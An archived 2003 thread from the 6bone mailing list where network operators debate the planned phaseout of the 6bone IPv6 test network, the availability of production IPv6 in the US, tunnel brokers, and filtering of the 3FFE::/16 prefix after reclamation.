> > > Sto pro veritate
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> > >
> >
> >
> > *****************************
> > Madrid 2003 Global IPv6 Summit
> > 12-14 May 2003 - Register at:
> > http://www.ipv6-es.com
> >
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


*****************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Register at:
http://www.ipv6-es.com



From mrp@mrp.net Wed Mar 19 14:48:20 2003
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To: "Jeroen Massar" <jeroen@unfix.org>,
   "'JORDI PALET MARTINEZ'" <jordi.palet@consulintel.es>,
   "'6BONE List'" <6bone@mailman.isi.edu>
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Subject: RE: [6bone] report of 6bone planning BOF
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At 11:18 PM +0100 19/3/03, Jeroen Massar wrote:
>JORDI PALET MARTINEZ wrote:
>
>> You will discover soon that this will change in the next few
>> months ...
>
>And I guess you are talking about the cost waiver
>that is being proposed ;) But it is still to see
>if that will also make the ISP's actually use it...
>Fortunatly there are a couple of very good
>transition methods which can help out in the
>cases where native IPv6 is still not an option.
>
The router vendors have got to get IPv6 support out in the code releases & platforms the ISPs want to run without requiring them to upgrade the hardware or move to different code streams (with a whole set of new bugs).

Mark.

From jeroen@unfix.org Wed Mar 19 15:00:24 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Mark Prior'" <mrp@mrp.net>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] report of 6bone planning BOF
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Mark Prior [mailto:mrp@mrp.net] wrote:

> At 11:18 PM +0100 19/3/03, Jeroen Massar wrote:
> >JORDI PALET MARTINEZ wrote:
> >
> >> You will discover soon that this will change in the next few
> >> months ...
> >
> >And I guess you are talking about the cost waiver
> >that is being proposed ;) But it is still to see
> >if that will also make the ISP's actually use it...
> >Fortunatly there are a couple of very good
> >transition methods which can help out in the
> >cases where native IPv6 is still not an option.
> >
>
> The router vendors have got to get IPv6 support out in the 
> code releases & platforms the ISPs want to run without 
> requiring them to upgrade the hardware or move to different 
> code streams (with a whole set of new bugs).

I know of one vendor for which you really do want to move
to a different code stream :)

But in those cases I think, certainly for the time being
these links can be IPv6'ed using some good reliable tunneling.
The ISP's can then upgrade when they deem it stable enough.
Note that I am talking about using 6in4 as an alternative
to native IPv6 because the underlying hardware can't cope
with it yet, or the ISP in question doesn't trust the new
code bases yet. These tunnels will then have a max of 3 hops
in the IPv4 world and never cross an AS boundary. Also see:
http://ip6.de.easynet.net/ipv6-minimum-peering.txt

Greets,
 Jeroen


From rhe@nosc.ja.net Wed Mar 19 15:36:54 2003
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From: Rob Evans <rhe@nosc.ja.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: [6bone] report of 6bone planning BOF
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> There is nothing one can do against bad admins except hitting them
> quite hard with a very big cluestick.

Indeed, but documenting the possible issue would not be harmful, would
it?  If for some reason a prefix was needed that is would not be
globally routable, this might then bubble straight to the top...

> One solution to this, and some other problems could be solved
> by having a seperate 'blacklist BGP' which allows to block
> certain prefixes and other stuff from a central repository.

I think one of the laws of the internet is that any routing-related
mailing list eventually discusses the possibilities of centrally
managed blackhole lists...

> Currently most people, with clue, will also be filtering IPv6
> routes. See http://www.space.net/~gert/RIPE/ipv6-filters.html
> If an admin doesn't update those, then you already have that
> problem.

Right, although with any luck, there will be several orders of
magnitude more IPv6 network operators by the time that 3FFE::/16
comes around of reuse (if it ever does), and statistics suggest
that as well as many more clueful admins, there will be many more
clueless admins.

Of course, we may well have a new addressing and routing paradigm
by that time too. :)

Rob

From jguthrie@brokersys.com Wed Mar 19 16:47:27 2003
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Subject: Re: [6bone] report of 6bone planning BOF
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On Wed, Mar 19, 2003 at 11:10:33PM +0100, Jeroen Massar wrote:
> Jonathan Guthrie wrote:
 
> > On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
  
> > > The 6bone phaseout proposal was discussed with a strong 
> > consensus reached 
> > > on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone 
> > turn off date 
> > > of June 6, 2006 (6/6/6).
 
> > I think it's insane to set a date for the end of the 6bone 
> > when there is no replacement for it in the USA.
 
> Remind me again about why americans are allowed to only
> think of theirselves.

Why American's are allowed to only think of themselves?  Are you
telling me that you don't use ANY services that have any presence at
all in the US?  That's a pretty tall claim.  This Internet thing is
about communications.  Communications implies that both ends can,
well communicate.  Cutting off one side or another arbitrarily will
result in reduced value to both sides.

For what it's worth, it seems to me that in the whole "let's schedule
the destruction of the 6bone" discussion, the commentary has been
dominated by people in Europe how have been thinking only of themselves.

> There are many countries which
> don't have IPv6 at all.

Then the date for destroying the nest of tunnels that is the 6bone
should not be scheduled until all of them have native IPv6 service,
too.  I didn't write about them because I can't speak for them, I
can only speak for myself.

> But the US certainly has 
> *Grab stats*

> 76

> Now say again that there is no IPv6 in the US?

Okay.  There are no IPv6 providers in the US.  That I can find.  I've
been talking about this for a month, now, and nobody on this list has
attempted to enlighten me so I conclude that nobody else knows of any
in the US, either.  You certainly don't, or you would have named one.
I've looked, and I haven't been able to find any.

Note, please, that the fact that somebody has chosen to purchase a block
of addresses does not imply that they have connectivity for sale or
even that they intend to.

What I really need is 2B ISDN dial-up with fixed addresses.  However,
even if someone is selling this service it doesn't matter because I
know of no equipment I can use for my end on that sort of connection.
I will admit that I haven't looked too hard for that.  (What would be
the point?)

> Maybe you should start kicking around your ISP's a bit more?

"Kicking around"?  Just exactly WHAT kind of pull am I expected to
have with my ISP?  As I've said before, threatening to leave won't
cut it.  "Give me IPv6 connectivity or I'll disconnect completely from
the Internet" isn't a credible threat.

> There are enough ways of getting IPv6 in europe so why
> should that be so different from the US?

I don't know.  My problem is that nobody who is pushing a rapid
destruction of the 6bone realizes that the conditions are different
in places that aren't right exactly where they are.

If I were to be forced to guess, I'd guess that the real problem is
the amount of money invested in current infrastructure that would
have to be written off unless the equipment purchased by that money
can be somehow upgraded.  From what I can see, the Lucent Max TNT
that I connect to cannot.

> You should also note that 2006 is in 3 years. There
> will change a load of things before that date.

There will?  Maybe, maybe not.  Your crystal ball isn't any clearer than
mine.  I predict that the ILEC-based ISPs and the cable companies will
have the bulk of the US Internet access business in 2006 and none of
those companies has shown the slightest interest in IPv6 or has any
intention of moving any faster than they possibly can on this issue.

Of course, when you really get right down to it, what I really object
to is setting a calendar date on something that doesn't really have a
time element to it.  What is necessary to make the dismantling of the
6bone a good idea is about how widely IPv6 is deployed in production,
not about when some date rolls around.   That's why setting a date,
even one far in the future, until the basic conditions for making the
6bone irrelevant is not well considered.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Sto pro veritate

From jeroen@unfix.org Wed Mar 19 17:32:12 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Jonathan Guthrie'" <jguthrie@brokersys.com>
Cc: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] report of 6bone planning BOF
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Jonathan Guthrie [mailto:jguthrie@brokersys.com] wrote:

> On Wed, Mar 19, 2003 at 11:10:33PM +0100, Jeroen Massar wrote:
> > Jonathan Guthrie wrote:
>  
> > > On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
>   
> > > > The 6bone phaseout proposal was discussed with a strong 
> > > consensus reached 
> > > > on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone 
> > > turn off date 
> > > > of June 6, 2006 (6/6/6).
>  
> > > I think it's insane to set a date for the end of the 6bone 
> > > when there is no replacement for it in the USA.
>  
> > Remind me again about why americans are allowed to only
> > think of theirselves.
> 
> Why American's are allowed to only think of themselves?  Are you
> telling me that you don't use ANY services that have any presence at
> all in the US?  That's a pretty tall claim.  This Internet thing is
> about communications.  Communications implies that both ends can,
> well communicate.  Cutting off one side or another arbitrarily will
> result in reduced value to both sides.

Fortunatly the Internet is global and doesn't entirely
rely on the US. And it isn't 'cutting' off, current 6bone
users have 3 long years the time to make sure they have
RIR space connectivity. Seeing the history of computing,
a lot can happen in 3 years.

> For what it's worth, it seems to me that in the whole "let's schedule
> the destruction of the 6bone" discussion, the commentary has been
> dominated by people in Europe how have been thinking only of 
> themselves.

Never heard of Asia now did you? That is the place where
IPv6 is *it*. You might note that 6bone chairs and other
coordinators are all US based. Not european. Also like you
say yourself, there have been a lot of voices from the
european 'side' because these people do voice themselves.
Apparently the american 'side' doesn't have an interest
in the 6bone or silently agree with it and want to move forward.

You should realize that the 6bone is a *TEST* network
for testing out new things. It's not for production networks,
like providing paying clients with IPv6. ISP's tend to be
production, at least I hope so for their customers.
You are implying that you want a production connection,
well then you won't need the 6bone for that now do you?

> > There are many countries which
> > don't have IPv6 at all.
> 
> Then the date for destroying the nest of tunnels that is the 6bone
> should not be scheduled until all of them have native IPv6 service,
> too.  I didn't write about them because I can't speak for them, I
> can only speak for myself.

6bone == testing, you are talking about production space.
Production space can be arranged in all countries on this planet
through the RIR's (ARIN, APNIC & RIPE).
Though LACNIC doesn't have a clear policy set out yet.
But they are working on it.

> > But the US certainly has 
> > *Grab stats*
> 
> > 76
> 
> > Now say again that there is no IPv6 in the US?
> 
> Okay.  There are no IPv6 providers in the US.  That I can find.  I've
> been talking about this for a month, now, and nobody on this list has
> attempted to enlighten me so I conclude that nobody else knows of any
> in the US, either.  You certainly don't, or you would have named one.
> I've looked, and I haven't been able to find any.

You are looking for enduser IPv6 native connectivity.
Now everybody can tell you that, except for asia, this is mostly
not possible. Why? well for the exact reasons that you mention: 
No hardware support to the enduser. That's why there are transition
methods available.

> Note, please, that the fact that somebody has chosen to 
> purchase a block of addresses does not imply that they
> have connectivity for sale or even that they intend to.

Ofcourse, and even announcing it into the DFZ doesn't mean
that they are using it either, let alone that somebody is
watching over it. I am quite aware of that.

> What I really need is 2B ISDN dial-up with fixed addresses.  However,
> even if someone is selling this service it doesn't matter because I
> know of no equipment I can use for my end on that sort of connection.
> I will admit that I haven't looked too hard for that.  (What would be
> the point?)

Move to japan, they have it over there, but then again you won't
find much ISDN over there as it's mostly cable (16mbit for 60$ US).
Now wonder again why they win at the world CyberGames ;)

> > Maybe you should start kicking around your ISP's a bit more?
> 
> "Kicking around"?  Just exactly WHAT kind of pull am I expected to
> have with my ISP?  As I've said before, threatening to leave won't
> cut it.  "Give me IPv6 connectivity or I'll disconnect completely from
> the Internet" isn't a credible threat.

I quote from http://ipv6.he.net
8<--------------------------------------
Hurricane Electric's support for IPv6
Hurricane Electric is currently running a production IPv6 network and
offering business class commercial IPv6 services. Native IPv6
connectivity is available for both direct connection customers and
colocation customers. Hurricane Electric also provides a free tunnel
broker which allows users to experiment with IPv6 by tunneling over the
existing IPv4 Internet. Hurricane Electric's tunnel broker is available
for use by anybody.
-------------------------------------->8

And I am european and not even related to he.net.
In a way they are 'competition' for me, mind you,
though I don't think of it that way. Note that HE has both
RIR and 6bone space and so have many others. 

> > There are enough ways of getting IPv6 in europe so why
> > should that be so different from the US?
> 
> I don't know.  My problem is that nobody who is pushing a rapid
> destruction of the 6bone realizes that the conditions are different
> in places that aren't right exactly where they are.
> 
> If I were to be forced to guess, I'd guess that the real problem is
> the amount of money invested in current infrastructure that would
> have to be written off unless the equipment purchased by that money
> can be somehow upgraded.  From what I can see, the Lucent Max TNT
> that I connect to cannot.

That is exactly what the 'problem' is. Money. But why should that
inhibit a pending closure, which is only going to happen
in 3 years of a network (6bone) which is meant for testing?

> > You should also note that 2006 is in 3 years. There
> > will change a load of things before that date.
> 
> There will?  Maybe, maybe not.  Your crystal ball isn't any 
> clearer than mine.  I predict that the ILEC-based ISPs and
> the cable companies will have the bulk of the US Internet
> access business in 2006 and none of those companies has
> shown the slightest interest in IPv6 or has any
> intention of moving any faster than they possibly can on this issue.

Then, if you are so determined to get *production* IPv6
at home, you should be talking to them why they are not
doing it, when you got them in the boat it will all go faster.

Also if we're taking it from that side I see a huge
business opportunity in setting up a IPv6 provider in the US. <hint> :)

> Of course, when you really get right down to it, what I really object
> to is setting a calendar date on something that doesn't really have a
> time element to it.  What is necessary to make the dismantling of the
> 6bone a good idea is about how widely IPv6 is deployed in production,
> not about when some date rolls around.   That's why setting a date,
> even one far in the future, until the basic conditions for making the
> 6bone irrelevant is not well considered.

Apparently there are not many americans who complain about this.
Also I think that most part of the _endusers_, including me and
a load of others all around this globe, are still using tunneled
connectivity. There are a happy view who have native connectivity
ofcourse but I don't think it will be expressable in percentages.

Why do you think we build a whitelabeled tunnelbroker system
which provides RIR and 6bone on some POPs space to endusers.
The target is to have a POP at an ISP so that it's clients
can get IPv6 connectivity from their own ISP. Yes, tunneled.
But without upgrading the intermediate hardware, which is
usually quite a burden to replace, financially mostly.

Let's take a looky at my home network:
http://purgatory.unfix.org/network.gif

See that nice thing called "Alcatel SpeedTouch", well it
bridges my ethernet into the Cistron router. So purgatory
simply has the MAC of the cistron router (195.62.92.1) in
it's table. Effectively if that router supported IPv6 it
could simply give me IPv6 by doing some ND and RA.
Unfortunatly that box doesn't do IPv6, neither does the box
that is connecting it to the rest of world which is behind
it. The trick is that, quite close (~2ms max) is another
router which plays POP and which gives me near-native IPv6:
For example compare these two:

jeroen@purgatory:~$ traceroute6 newszilla6.xs4all.nl
traceroute to newszilla6.xs4all.nl (2001:888:0:4::119) from
3ffe:8114:2000:240:290:27ff:fe24:c19f, 30 hops max, 16 byte packets
 1  gw-20.ams-02.nl.sixxs.net (3ffe:8114:1000::26)  20.02 ms  32.728 ms
19.626 ms
 2  Amsterdam.core.ipv6.intouch.net (2001:6e0::2)  19.549 ms  19.775 ms
20.078 ms
 3  ams-ix.tc2.xs4all.net (2001:7f8:1::a500:3265:2)  20.774 ms  19.838
ms  36.207 ms
 4  0.ge-0-1-0.xr1.pbw.xs4all.net (2001:888:0:103::1)  22.904 ms  35.862
ms  20.324 ms
 5  newszilla6.xs4all.nl (2001:888:0:4::119)  20.162 ms  20.637 ms
20.164 ms

jeroen@purgatory:~$ traceroute newszilla.xs4all.nl
traceroute to newszilla.xs4all.nl (194.109.133.20), 64 hops max, 40 byte
packets
 1  gw-64-92.sms-1.ams-tel.cistron.net (195.64.92.1)  18 ms  17 ms  18
ms
 2  ve10.rtr-1.ams-tel.cistron.net (62.216.31.1)  18 ms  18 ms  18 ms
 3  ams-ix.tc2.xs4all.net (193.148.15.166)  19 ms  18 ms  18 ms
 4  0.ge-0-1-0.xr1.pbw.xs4all.net (194.109.5.1)  24 ms  18 ms  18 ms
 5  194.109.133.2 (194.109.133.2)  19 ms  19 ms  19 ms

IPv4 path almost matches IPv6 path.
As you see I also use 6bone space and that will end on 06/06/2006.
I want it to end it before that too and get production space
with support and all other benefits. Playtime is over.
Though I do have to note that my IPv6 tunnel has been up for
over about 2 years now so it's stable enough to be called
production.

By 2006 I hope the above mentioned boxes have been replaced
by correct hardware which can handle IPv6. Otherwise I
guess that my upstream ISP has installed their own POP
and is nicely handing out 2001:9b8::/32 space to their clients.
Then again who says that I am still using their service,
or that my ISP is still in business, that they upgraded to ADSL2 etc?
Or that we are simply internetting over WLAN? New technologies
are bound to get IPv6 supported hardware.

By the way there is something which is much worse about all this.
Why doesn't for example Google, Altavista, CNN etc don't have IPv6 yet?
Ai, but that just might roll into the chicken and egg problem again.

I hope that clears up my viewpoint a bit.
In short: 6bone = testing, it's now time for production.

Greets,
 Jeroen


From jsimmons@goblin.punk.net Wed Mar 19 17:45:45 2003
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Pardon a lurker who's just here to learn about IPv6 from piping up, but ...

On Wednesday 19 March 2003 01:41 pm, Jeroen Massar wrote:

> There is nothing one can do against bad admins except hitting them
> quite hard with a very big cluestick. It's the same for the fact
> that you will still see Code Red and other worms flying around.
> Some people just don't do their job correctly or good.

You know, every time there's a problem on the internet, worms, virii, open 
mail relays, etc., someone trots out this tired old argument.  Bad admin.  
Hit with cluestick.  

Reality, down in the trenches, is a little different.  Most admins would LOVE 
to clean up their networks and servers, but can't.  They're in firefighting 
mode from the minute they come into work, and priorities are assigned not 
with the health of the internet in mind, but with a concern for which of the 
higher-ups in the organization is the most pissed off at the moment.  Or how 
much money it will make.

Fix that open relay?  And buy a new copy of the OS, which we stole in the 
first place?  How much will that save us?

Patch the DB server?  Sorry, we promised that customer 99.999% uptime.

Fix that routing table?  Why, how's it affect our day to day operations?

You want horror stories, contact me.  I've got a LOT of them.

I'm not here to jump in someone's face, or even to defend my chosen 
profession.  But you guys have a chance to influence the next generation of 
internet protocols, and this kind of stuff isn't ever going to get fixed 
unless there are economic incentives to do so.  The kind that will make 
management sit up and take notice.  Not admins, management.  They're the ones 
that call the shots on what gets fixed and what doesn't.

What we need is a way to hit MANAGEMENT with that cluestick.  And if it's 
built in at the protocol level, so much the better.  Because if you think 
that it's just a problem of bad or lazy admins, you're going to be trotting 
that argument out again and again and again for many years to come.

-- 
Jeff Simmons				       jsimmons@goblin.punk.net
     Simmons Consulting - Network Engineering, Administration, Security

"In conclusion the main thing we did wrong ... was to worry about criminals 
being clever;  we should rather have worried about our customers ... being 
stupid."          Ross Anderson, "Security Engineering"

From bob@thefinks.com Wed Mar 19 18:31:18 2003
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Date: Wed, 19 Mar 2003 18:31:09 -0800
To: Rob Evans <rhe@nosc.ja.net>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] report of 6bone planning BOF
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Rob,

I don't mind adding something to the draft, but what would you suggest that 
would do any good.

Net operators are very unlikely to ever read the 6bone phaseout RFC in 
future years to find out what to do.

Nonetheless, I'll add something if you can suggest what and where (and it 
seems reasonable).


Thanks for caring to think about this.

Bob

===
At 11:36 PM 3/19/2003 +0000, Rob Evans wrote:
> > There is nothing one can do against bad admins except hitting them
> > quite hard with a very big cluestick.
>
>Indeed, but documenting the possible issue would not be harmful, would
>it?  If for some reason a prefix was needed that is would not be
>globally routable, this might then bubble straight to the top...
>
> > One solution to this, and some other problems could be solved
> > by having a seperate 'blacklist BGP' which allows to block
> > certain prefixes and other stuff from a central repository.
>
>I think one of the laws of the internet is that any routing-related
>mailing list eventually discusses the possibilities of centrally
>managed blackhole lists...
>
> > Currently most people, with clue, will also be filtering IPv6
> > routes. See http://www.space.net/~gert/RIPE/ipv6-filters.html
> > If an admin doesn't update those, then you already have that
> > problem.
>
>Right, although with any luck, there will be several orders of
>magnitude more IPv6 network operators by the time that 3FFE::/16
>comes around of reuse (if it ever does), and statistics suggest
>that as well as many more clueful admins, there will be many more
>clueless admins.
>
>Of course, we may well have a new addressing and routing paradigm
>by that time too. :)
>
>Rob


From jeroen@unfix.org Wed Mar 19 18:35:08 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <jsimmons@goblin.punk.net>, <6bone@mailman.isi.edu>
Cc: <rhe@nosc.ja.net>
Subject: RE: [6bone] report of 6bone planning BOF
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Jeff Simmons [mailto:jsimmons@goblin.punk.net] wrote:

> Pardon a lurker who's just here to learn about IPv6 from 
> piping up, but ...
> 
> On Wednesday 19 March 2003 01:41 pm, Jeroen Massar wrote:
> 
> > There is nothing one can do against bad admins except hitting them
> > quite hard with a very big cluestick. It's the same for the fact
> > that you will still see Code Red and other worms flying around.
> > Some people just don't do their job correctly or good.
> 
> You know, every time there's a problem on the internet, 
> worms, virii, open mail relays, etc., someone trots out
> this tired old argument.  Bad admin. Hit with cluestick.
> 
> Reality, down in the trenches, is a little different. Most 
> admins would LOVE to clean up their networks and servers,
> but can't.  They're in firefighting mode from the minute
> they come into work, and priorities are assigned not with
> the health of the internet in mind, but with a concern for
> which of the higher-ups in the organization is the most
> pissed off at the moment.  Or how much money it will make.

Ofcourse that is a problem in some organisations. But I think
that then more has to do with the fact that you have more
work on your hands than you can handle than the fact that you
won't want to fix it.

If the admin really loved his network he would clean it up
starting from scratch if needed.

> Fix that open relay?  And buy a new copy of the OS, which we 
> stole in the first place?

Never let the BSA (or similar authorities) hear that ;)
Someone remember what fines there where for such cases?
What did cost so much many again? Let alone the time etc.

>  How much will that save us?
> 
> Patch the DB server?  Sorry, we promised that customer 99.999% uptime.

Then firewall that DB server away. What costs more?
An abuse department that needs to address complaints from
all over the world or an 

> Fix that routing table?  Why, how's it affect our day to day 
> operations?

It will generate more money as your paying clients will have
a more stable network.
 
> You want horror stories, contact me.  I've got a LOT of them.

Campfires are great places to hear those.

> I'm not here to jump in someone's face, or even to defend my chosen 
> profession.  But you guys have a chance to influence the next 
> generation of internet protocols, and this kind of stuff
> isn't ever going to get fixed unless there are economic
> incentives to do so. 
>
> The kind that will make management sit up and take notice.
> Not admins, management.   They're the ones 
> that call the shots on what gets fixed and what doesn't.

IMHO management that can actually take decissions on how
an admin has to divide his/her workload could apparently
help out that admin in aiding his job better.
As you said, they only look at the money. If they look
at the money they should also realize that faults cost money.
And avoiding certain faults, dos's from your network because
it suddenly is swamped with drones caused by some virus
which was announced on security and virii lists, does save
one from more work: the cleanup.

> What we need is a way to hit MANAGEMENT with that cluestick.  
> And if it's built in at the protocol level, so much the better.
> Because if you think that it's just a problem of bad or lazy
> admins, you're going to be trotting that argument out again
> and again and again for many years to come.

Well apparently the admin can't convince his management
why it is important to update stuff. Apparently also that
management doesn't care when they get a bad reputation which
effectively will cost them money. Word of mouth (email/fora)
is probably the worst form of advertisement a company can have.

Then again management is probably too uptight with getting
money on their own banks to afford an extra admin.

Management.. uptight, let's leave it with that ;)
But it does boil down to yet the primary thing in
this world: money.
No money for new hardware/upgrades -> no IPv6.

So maybe we should first invent some new quick
money to get it all rolling ? :)
You should convince your management types that
they need IPv6 as it provides more to the enduser
Also that when they do it now that they are ahead
of the competition and don't have to worry for it
when that competition already has it and is getting
the customers that you actually wanted.

There are always a couple of ways to look at a story ;)

Greets,
 Jeroen


From michel@arneill-py.sacramento.ca.us Wed Mar 19 18:46:28 2003
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I have a tunnel from HE (among other tunnels; they are the closest to my
location so far) it's free and in the 2001 space. Although I was in
favor of a longer sunset for the 6bone I voted yesterday with all my
comrades on the 6/6/6 date (and BTW look at my email address). As I said
on the mike the 6bone was intended to experiment, not to do production.
The request for a special pTLA I intend to send before the 1/1/4
deadline is for experimental purposes. For IPv6 access, time for
production space has come.

Michel.

> <--------------------------------------
> Hurricane Electric's support for IPv6
> Hurricane Electric is currently running a
> production IPv6 network and offering
> business class commercial IPv6 services.
> Native IPv6 connectivity is available for
> both direct connection customers and
> colocation customers. Hurricane Electric
> also provides a free tunnel broker which
> allows users to experiment with IPv6 by
> tunneling over the existing IPv4 Internet.
> Hurricane Electric's tunnel broker is
> available for use by anybody.
> -------------------------------------->


From matthew.ford@bt.com Wed Mar 19 20:47:31 2003
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From: matthew.ford@bt.com
To: bob@thefinks.com
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Subject: RE: [6bone] report of 6bone planning BOF
Date: Thu, 20 Mar 2003 04:47:22 -0000
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Hi Bob,

What I had in mind when I made the comment at yesterday's meeting that Rob
was referring to, was simply a note to request that IANA not re-allocate
3ffe until they *really* have to (i.e. there's nothing else left, or 3ffe is
specifically useful for something).

Mat.

> -----Original Message-----
> From: Bob Fink [mailto:bob@thefinks.com]
> Sent: 19 March 2003 18:31
> To: Rob Evans
> Cc: '6BONE List'
> Subject: Re: [6bone] report of 6bone planning BOF
> 
> 
> Rob,
> 
> I don't mind adding something to the draft, but what would 
> you suggest that 
> would do any good.
> 
> Net operators are very unlikely to ever read the 6bone 
> phaseout RFC in 
> future years to find out what to do.
> 
> Nonetheless, I'll add something if you can suggest what and 
> where (and it 
> seems reasonable).
> 
> 
> Thanks for caring to think about this.
> 
> Bob
> 
> ===
> At 11:36 PM 3/19/2003 +0000, Rob Evans wrote:
> > > There is nothing one can do against bad admins except hitting them
> > > quite hard with a very big cluestick.
> >
> >Indeed, but documenting the possible issue would not be 
> harmful, would
> >it?  If for some reason a prefix was needed that is would not be
> >globally routable, this might then bubble straight to the top...
> >
> > > One solution to this, and some other problems could be solved
> > > by having a seperate 'blacklist BGP' which allows to block
> > > certain prefixes and other stuff from a central repository.
> >
> >I think one of the laws of the internet is that any routing-related
> >mailing list eventually discusses the possibilities of centrally
> >managed blackhole lists...
> >
> > > Currently most people, with clue, will also be filtering IPv6
> > > routes. See http://www.space.net/~gert/RIPE/ipv6-filters.html
> > > If an admin doesn't update those, then you already have that
> > > problem.
> >
> >Right, although with any luck, there will be several orders of
> >magnitude more IPv6 network operators by the time that 3FFE::/16
> >comes around of reuse (if it ever does), and statistics suggest
> >that as well as many more clueful admins, there will be many more
> >clueless admins.
> >
> >Of course, we may well have a new addressing and routing paradigm
> >by that time too. :)
> >
> >Rob
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From rhe@nosc.ja.net Wed Mar 19 20:52:35 2003
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Date: Thu, 20 Mar 2003 04:52:32 +0000
From: Rob Evans <rhe@nosc.ja.net>
To: matthew.ford@bt.com
Cc: bob@thefinks.com, 6bone@mailman.isi.edu
Subject: Re: [6bone] report of 6bone planning BOF
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> What I had in mind when I made the comment at yesterday's meeting that Rob
> was referring to, was simply a note to request that IANA not re-allocate
> 3ffe until they *really* have to (i.e. there's nothing else left, or 3ffe is
> specifically useful for something).

In the tradition of "send text," I was only thinking of something like
the following:

    When the 6bone address space is reclaimed and returned to the IANA,
    it is expected that many network operators will filter it on their
    borders to ensure it is not misused.

    There is experience from the IPv4 world that such filters may not be
    removed promptly should this address space be reallocated, and it is
    recommended that the IANA bears this in mind before reallocating
    it in a manner that would require it to be routed globally within
    the current internet architecture.

Is that contentious/disagreeable?  "[...] within the current internet
architecture" may not be needed.

Cheers,
Rob

From matthew.ford@bt.com Wed Mar 19 21:24:57 2003
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From: matthew.ford@bt.com
To: rhe@nosc.ja.net
Cc: bob@thefinks.com, 6bone@mailman.isi.edu
Subject: RE: [6bone] report of 6bone planning BOF
Date: Thu, 20 Mar 2003 05:24:46 -0000
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> In the tradition of "send text," I was only thinking of something like
> the following:
> 
>     When the 6bone address space is reclaimed and returned to 
> the IANA,
>     it is expected that many network operators will filter it on their
>     borders to ensure it is not misused.
> 
>     There is experience from the IPv4 world that such filters 
> may not be
>     removed promptly should this address space be 
> reallocated, and it is
>     recommended that the IANA bears this in mind before reallocating
>     it in a manner that would require it to be routed globally within
>     the current internet architecture.
> 
> Is that contentious/disagreeable?

I'd prefer to see the second para read:

'There is experience from the IPv4 world that suggests such filters may not
be removed promptly should this address space be reallocated. It is
therefore recommended that the IANA not re-allocate the 6bone address space
until such time as there is deemed to be no alternative to such
re-allocation.'

Mat.

From bob@thefinks.com Wed Mar 19 22:57:25 2003
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Subject: RE: [6bone] report of 6bone planning BOF
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Mat,

At 04:47 AM 3/20/2003 +0000, matthew.ford@bt.com wrote:
>Hi Bob,
>
>What I had in mind when I made the comment at yesterday's meeting that Rob
>was referring to, was simply a note to request that IANA not re-allocate
>3ffe until they *really* have to (i.e. there's nothing else left, or 3ffe is
>specifically useful for something).

Understand. I'll think on it.

Thanks,

Bob 


From todd@shadow.fries.net Thu Mar 20 04:59:48 2003
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Date: Thu, 20 Mar 2003 06:55:27 -0600
From: "Todd T. Fries" <todd@fries.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
Cc: Bob Fink <bob@thefinks.com>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] report of 6bone planning BOF
Message-ID: <20030320125527.GB27531@fries.net>
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If everyone reacted the way I did when I first heard, the end of the 6bone
could be the most benificial thing to promote IPv6 that has happened yet.

Initially, I grumbled about my ISP and its upstream not providing IPv6
natively, and I've been asking for two years.

I placed a phone call to my isp to update some contact info, and asked a few
questions one of which was about IPv6, and the next thing I know they are
using me as a consultant and planning on beginning IPv6 enabling with a
machine upgrade I'll be assisting with.

One more isp in the US heading towards v6, and the draft wasn't even out yet ;-)
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.fries.net        Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Jonathan Guthrie on Wed, Mar 19, 2003 at 02:45:49PM -0600, we have:
| On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
|  
| > The 6bone phaseout proposal was discussed with a strong consensus reached 
| > on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone turn off date 
| > of June 6, 2006 (6/6/6).
| 
| I think it's insane to set a date for the end of the 6bone when there is
| no replacement for it in the USA.
| -- 
| Jonathan Guthrie (jguthrie@brokersys.com)
| Sto pro veritate
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From todd@shadow.fries.net Thu Mar 20 05:02:58 2003
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Date: Thu, 20 Mar 2003 06:58:36 -0600
From: "Todd T. Fries" <todd@fries.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
Cc: JORDI PALET MARTINEZ <jordi.palet@consulintel.es>,
   6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] report of 6bone planning BOF
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As has been pointed out to me, v6 tunnels are available to production address
space.  The only thing we are really talking about is 'where do you get your
IPv6 addresses from'.  I've been using the 6bone for production for nearly
two years now at my apartment.  I do not mind a bit moving to production
address space.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.fries.net        Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

